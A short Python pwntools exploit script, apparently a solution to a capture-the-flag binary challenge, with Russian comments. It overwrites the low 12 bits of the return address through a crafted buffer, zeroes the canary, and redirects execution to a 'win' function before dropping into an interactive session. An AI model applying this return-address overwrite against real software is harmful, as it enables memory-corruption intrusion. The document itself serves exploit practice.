#!/usr/bin/env python3
from pwn import *

exe = ELF("../deploy/chall")

context.binary = exe
context.log_level = "debug"

# p = process([exe.path])
p = remote("localhost", 5000)

p.sendlineafter(b"> ", b"i")

iv =  b"A" * 16
somevar = p64(0)
canary = p64(0)
saved_rbp = p64(0xdeadbeef) # совершенно не важно это значение

return_address = exe.symbols["main"]+174 # адрес возврата из функции cmd_encrypt
win = exe.symbols["win"]

# адрес возврата и адрес win отличаются только младшими 12 битами, которые не рандомизируются
assert (return_address >> 12) == (win >> 12)

new_return_address = p64((win ^ return_address) & 0xfff)

pl = iv + somevar + canary + saved_rbp + new_return_address

p.sendlineafter(b"> ", pl.hex().encode())

p.sendlineafter(b"> ", b"e")

plaintext = b"00112233445566778899AABBCCDDEEFF"
p.sendlineafter(b"> ", plaintext)

p.interactive()
